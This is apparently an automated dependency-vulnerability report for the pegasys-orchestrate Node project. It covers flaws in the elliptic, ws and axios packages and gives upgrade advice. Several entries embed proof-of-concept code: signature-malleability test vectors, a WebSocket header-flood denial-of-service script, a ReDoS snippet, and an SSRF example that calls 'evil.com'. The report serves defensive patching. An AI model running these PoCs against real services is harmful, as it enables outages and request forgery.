Vulnerabilities	11 via 51 paths
Dependencies	110
Source	GitHub
Commit	14c1d814

Find, fix and prevent vulnerabilities in your code.

Test and protect my applications

Severity

Critical
5
High
3
Medium
3
Low

Status

Open
11
Patched
0
Ignored
0

critical severity

Improper Verification of Cryptographic Signature

Vulnerable module: elliptic
Introduced through: ethers@5.5.4

Detailed paths

Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/hdnode@5.5.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/transactions@5.5.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wallet@5.5.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/abstract-provider@5.5.1 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/contracts@5.5.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/hdnode@5.5.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/json-wallets@5.5.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/providers@5.5.3 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wallet@5.5.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/json-wallets@5.5.0 › @ethersproject/hdnode@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wallet@5.5.0 › @ethersproject/hdnode@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/abstract-signer@5.5.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/contracts@5.5.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/providers@5.5.3 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wallet@5.5.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/json-wallets@5.5.0 › @ethersproject/hdnode@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wallet@5.5.0 › @ethersproject/hdnode@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wallet@5.5.0 › @ethersproject/json-wallets@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wallet@5.5.0 › @ethersproject/json-wallets@5.8.0 › @ethersproject/hdnode@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/contracts@5.5.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/hash@5.5.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/hdnode@5.5.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/json-wallets@5.5.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/providers@5.5.3 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wallet@5.5.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wallet@5.5.0 › @ethersproject/json-wallets@5.8.0 › @ethersproject/hdnode@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/abi@5.5.0 › @ethersproject/hash@5.8.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/providers@5.5.3 › @ethersproject/hash@5.8.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wallet@5.5.0 › @ethersproject/hash@5.8.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wordlists@5.5.0 › @ethersproject/hash@5.8.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/json-wallets@5.5.0 › @ethersproject/hdnode@5.8.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wallet@5.5.0 › @ethersproject/hdnode@5.8.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wallet@5.5.0 › @ethersproject/json-wallets@5.8.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/contracts@5.5.0 › @ethersproject/abi@5.8.0 › @ethersproject/hash@5.8.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/hdnode@5.5.0 › @ethersproject/wordlists@5.8.0 › @ethersproject/hash@5.8.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wallet@5.5.0 › @ethersproject/wordlists@5.8.0 › @ethersproject/hash@5.8.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wallet@5.5.0 › @ethersproject/json-wallets@5.8.0 › @ethersproject/hdnode@5.8.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/json-wallets@5.5.0 › @ethersproject/hdnode@5.8.0 › @ethersproject/wordlists@5.8.0 › @ethersproject/hash@5.8.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wallet@5.5.0 › @ethersproject/hdnode@5.8.0 › @ethersproject/wordlists@5.8.0 › @ethersproject/hash@5.8.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/wallet@5.5.0 › @ethersproject/json-wallets@5.8.0 › @ethersproject/hdnode@5.8.0 › @ethersproject/wordlists@5.8.0 › @ethersproject/hash@5.8.0 › @ethersproject/abstract-signer@5.8.0 › @ethersproject/abstract-provider@5.8.0 › @ethersproject/transactions@5.8.0 › @ethersproject/signing-key@5.8.0 › elliptic@6.6.1
Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/signing-key@5.5.0 › elliptic@6.5.4

…and 38 more

Overview

elliptic is a fast elliptic-curve cryptography implementation in plain javascript.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to an anomaly in the _truncateToN function. An attacker can cause legitimate transactions or communications to be incorrectly flagged as invalid by exploiting the signature verification process when the hash contains at least four leading 0 bytes, and the order of the elliptic curve's base point is smaller than the hash. In some situations, a private key exposure is possible. This can happen when an attacker knows a faulty and the corresponding correct signature for the same message.

PoC

var elliptic = require('elliptic'); // tested with version 6.5.7
var hash = require('hash.js');
var BN = require('bn.js');
var toArray = elliptic.utils.toArray;

var ec = new elliptic.ec('p192');
var msg = '343236343739373234';
var sig = '303502186f20676c0d04fc40ea55d5702f798355787363a91e97a7e50219009d1c8c171b2b02e7d791c204c17cea4cf556a2034288885b';
// Same public key just in different formats
var pk = '04cd35a0b18eeb8fcd87ff019780012828745f046e785deba28150de1be6cb4376523006beff30ff09b4049125ced29723';
var pkPem = '-----BEGIN PUBLIC KEY-----\nMEkwEwYHKoZIzj0CAQYIKoZIzj0DAQEDMgAEzTWgsY7rj82H/wGXgAEoKHRfBG54\nXeuigVDeG+bLQ3ZSMAa+/zD/CbQEkSXO0pcj\n-----END PUBLIC KEY-----\n';

// Create hash
var hashArray = hash.sha256().update(toArray(msg, 'hex')).digest();
// Convert array to string (just for showcase of the leading zeros)
var hashStr = Array.from(hashArray, function(byte) {
  return ('0' + (byte & 0xFF).toString(16)).slice(-2);
}).join('');
var hMsg = new BN(hashArray, 'hex');
// Hashed message contains 4 leading zeros bytes
console.log('sha256 hash(str): ' + hashStr);
// Due to using BN bitLength lib it does not calculate the bit length correctly (should be 32 since it is a sha256 hash)
console.log('Byte len of sha256 hash: ' + hMsg.byteLength());
console.log('sha256 hash(BN): ' + hMsg.toString(16));

// Due to the shift of the message to be within the order of the curve the delta computation is invalid
var pubKey = ec.keyFromPublic(toArray(pk, 'hex'));
console.log('Valid signature: ' + pubKey.verify(hashStr, sig));

// You can check that this hash should validate by consolidating openssl
const fs = require('fs');
fs.writeFile('msg.bin', new BN(msg, 16).toBuffer(), (err) => {
  if (err) throw err;
});
fs.writeFile('sig.bin', new BN(sig, 16).toBuffer(), (err) => {
  if (err) throw err;
});
fs.writeFile('cert.pem', pkPem, (err) => {
  if (err) throw err;
});

// To verify the correctness of the message signature and key one can run:
// openssl dgst -sha256 -verify cert.pem -signature sig.bin msg.bin
// Or run this python script
/*
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec


msg = '343236343739373234'
sig = '303502186f20676c0d04fc40ea55d5702f798355787363a91e97a7e50219009d1c8c171b2b02e7d791c204c17cea4cf556a2034288885b'
pk = '04cd35a0b18eeb8fcd87ff019780012828745f046e785deba28150de1be6cb4376523006beff30ff09b4049125ced29723'

p192 = ec.SECP192R1()
pk = ec.EllipticCurvePublicKey.from_encoded_point(p192, bytes.fromhex(pk))
pk.verify(bytes.fromhex(sig), bytes.fromhex(msg), ec.ECDSA(hashes.SHA256()))
*/

Remediation

There is no fixed version for elliptic.

References

Improper Verification of Cryptographic Signature vulnerability report

critical severity

Improper Verification of Cryptographic Signature

Vulnerable module: elliptic
Introduced through: ethers@5.5.4

Detailed paths

Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/signing-key@5.5.0 › elliptic@6.5.4

Remediation: Upgrade to ethers@5.8.0.

Overview

elliptic is a fast elliptic-curve cryptography implementation in plain javascript.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to a missing signature length check in the EDDSA signature process. An attacker can manipulate the signature by appending or removing zero-valued bytes.

PoC

var elliptic = require('elliptic'); // tested with version 6.5.6
var eddsa = elliptic.eddsa;

var ed25519 = new eddsa('ed25519');
var key = ed25519.keyFromPublic('7d4d0e7f6153a69b6242b522abbee685fda4420f8834b108c3bdae369ef549fa', 'hex');

// [tcId 37] appending 0 byte to signature
var msg = '54657374';
var sig =  '7c38e026f29e14aabd059a0f2db8b0cd783040609a8be684db12f82a27774ab07a9155711ecfaf7f99f277bad0c6ae7e39d4eef676573336a5c51eb6f946b30d00';
console.log(key.verify(msg, sig));

// [tcId 38] removing 0 byte from signature
msg = '546573743137';
sig =  '93de3ca252426c95f735cb9edd92e83321ac62372d5aa5b379786bae111ab6b17251330e8f9a7c30d6993137c596007d7b001409287535ac4804e662bc58a3';
console.log(key.verify(msg, sig));

Remediation

Upgrade elliptic to version 6.5.7 or higher.

References

Improper Verification of Cryptographic Signature vulnerability report

critical severity

Improper Verification of Cryptographic Signature

Vulnerable module: elliptic
Introduced through: ethers@5.5.4

Detailed paths

Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/signing-key@5.5.0 › elliptic@6.5.4

Remediation: Upgrade to ethers@5.8.0.

Overview

elliptic is a fast elliptic-curve cryptography implementation in plain javascript.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the allowance of BER-encoded signatures. An attacker can manipulate the ECDSA signatures by exploiting the signature malleability.

PoC

var elliptic = require('elliptic'); // tested with version 6.5.6
var hash = require('hash.js');
var toArray = elliptic.utils.toArray;

var ec = new elliptic.ec('p521');

// [tcId 7] length of sequence [r, s] contains a leading 0
var msg = '313233343030';
var sig = '3082008602414e4223ee43e8cb89de3b1339ffc279e582f82c7ab0f71bbde43dbe374ac75ffbef29acdf8e70750b9a04f66fda48351de7bbfd515720b0ec5cd736f9b73bdf8645024128b5d0926a4172b349b0fd2e929487a5edb94b142df923a697e7446acdacdba0a029e43d69111174dba2fe747122709a69ce69d5285e174a01a93022fea8318ac1';
var pk = '04005c6457ec088d532f482093965ae53ccd07e556ed59e2af945cd8c7a95c1c644f8a56a8a8a3cd77392ddd861e8a924dac99c69069093bd52a52fa6c56004a074508007878d6d42e4b4dd1e9c0696cb3e19f63033c3db4e60d473259b3ebe079aaf0a986ee6177f8217a78c68b813f7e149a4e56fd9562c07fed3d895942d7d101cb83f6';

var hashMsg = hash.sha512().update(toArray(msg, 'hex')).digest();
var pubKey = ec.keyFromPublic(pk, 'hex');
console.log('Valid signature: ' + pubKey.verify(hashMsg, sig));

Remediation

Upgrade elliptic to version 6.5.7 or higher.

References

Improper Verification of Cryptographic Signature vulnerability report

critical severity

Improper Verification of Cryptographic Signature

Vulnerable module: elliptic
Introduced through: ethers@5.5.4

Detailed paths

Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/signing-key@5.5.0 › elliptic@6.5.4

Remediation: Upgrade to ethers@5.8.0.

Overview

elliptic is a fast elliptic-curve cryptography implementation in plain javascript.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to a missing check for whether the leading bit of r and s is zero. An attacker can manipulate the ECDSA signature by exploiting this oversight.

PoC

var elliptic = require('elliptic'); // tested with version 6.5.6
var hash = require('hash.js');
var toArray = elliptic.utils.toArray;

var ec = new elliptic.ec('secp256k1');

// [tcId 6] Legacy: ASN encoding of r misses leading 0
var msg = '313233343030';
var sig = '30440220813ef79ccefa9a56f7ba805f0e478584fe5f0dd5f567bc09b5123ccbc983236502206ff18a52dcc0336f7af62400a6dd9b810732baf1ff758000d6f613a556eb31ba';
var pk = '04b838ff44e5bc177bf21189d0766082fc9d843226887fc9760371100b7ee20a6ff0c9d75bfba7b31a6bca1974496eeb56de357071955d83c4b1badaa0b21832e9';

var hashMsg = hash.sha256().update(toArray(msg, 'hex')).digest();
var pubKey = ec.keyFromPublic(pk, 'hex');
console.log('Valid signature: ' + pubKey.verify(hashMsg, sig));

Remediation

Upgrade elliptic to version 6.5.7 or higher.

References

Improper Verification of Cryptographic Signature vulnerability report

critical severity

Information Exposure

Vulnerable module: elliptic
Introduced through: ethers@5.5.4

Detailed paths

Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/signing-key@5.5.0 › elliptic@6.5.4

Remediation: Upgrade to ethers@5.8.0.

Overview

elliptic is a fast elliptic-curve cryptography implementation in plain javascript.

Affected versions of this package are vulnerable to Information Exposure due to the sign function which allows an attacker to extract the private key from an ECDSA signature by signing a malformed input. A single maliciously crafted signed message can enable full key extraction for any previously known message-signature pair.

Remediation

Upgrade elliptic to version 6.6.1 or higher.

References

GitHub Commit

Information Exposure vulnerability report

high severity

Improper Verification of Cryptographic Signature

Vulnerable module: elliptic
Introduced through: ethers@5.5.4

Detailed paths

Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/signing-key@5.5.0 › elliptic@6.5.4

Remediation: Upgrade to ethers@5.8.0.

Overview

elliptic is a fast elliptic-curve cryptography implementation in plain javascript.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to improper range validation of the S value in the verify function, allowing the usage of an invalid signature.

Note:

This vulnerability could have a security-relevant impact if an application relies on the uniqueness of a signature.

Remediation

Upgrade elliptic to version 6.5.6 or higher.

References

Improper Verification of Cryptographic Signature vulnerability report

high severity

Denial of Service (DoS)

Vulnerable module: ws
Introduced through: ethers@5.5.4

Detailed paths

Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › ethers@5.5.4 › @ethersproject/providers@5.5.3 › ws@7.4.6

Remediation: Upgrade to ethers@5.8.0.

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS) when the number of received headers exceed the server.maxHeadersCount or request.maxHeadersCount threshold.

Workaround

This issue can be mitigating by following these steps:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.

PoC


const http = require('http');
const WebSocket = require('ws');

const server = http.createServer();

const wss = new WebSocket.Server({ server });

server.listen(function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: server.address().port
  });

  request.end();
});

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade ws to version 5.2.4, 6.2.3, 7.5.10, 8.17.1 or higher.

References

Denial of Service (DoS) vulnerability report

high severity

Cross-site Request Forgery (CSRF)

Vulnerable module: axios
Introduced through: axios@0.21.4

Detailed paths

Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › axios@0.21.4

Remediation: Upgrade to axios@0.28.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.

Workaround

Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.

Remediation

Upgrade axios to version 0.28.0, 1.6.0 or higher.

References

Cross-site Request Forgery (CSRF) vulnerability report

medium severity

new

Server-side Request Forgery (SSRF)

Vulnerable module: axios
Introduced through: axios@0.21.4

Detailed paths

Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › axios@0.21.4

Remediation: Upgrade to axios@0.30.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.

PoC

const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');

Remediation

Upgrade axios to version 0.30.0, 1.8.2 or higher.

References

Server-side Request Forgery (SSRF) vulnerability report

medium severity

new

Server-side Request Forgery (SSRF)

Vulnerable module: axios
Introduced through: axios@0.21.4

Detailed paths

Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › axios@0.21.4

Remediation: Upgrade to axios@0.30.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.

Remediation

Upgrade axios to version 0.30.0, 1.8.3 or higher.

References

Server-side Request Forgery (SSRF) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

Vulnerable module: axios
Introduced through: axios@0.21.4

Detailed paths

Introduced through: pegasys-orchestrate@PegaSysEng/orchestrate-node#14c1d81438d89f539fce3da2b791d05a7253a1b3 › axios@0.21.4

Remediation: Upgrade to axios@0.29.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.

PoC

const axios = require('axios');

console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');

console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');


/* stdout
t1: 60.826ms
t2: 5.826s
*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

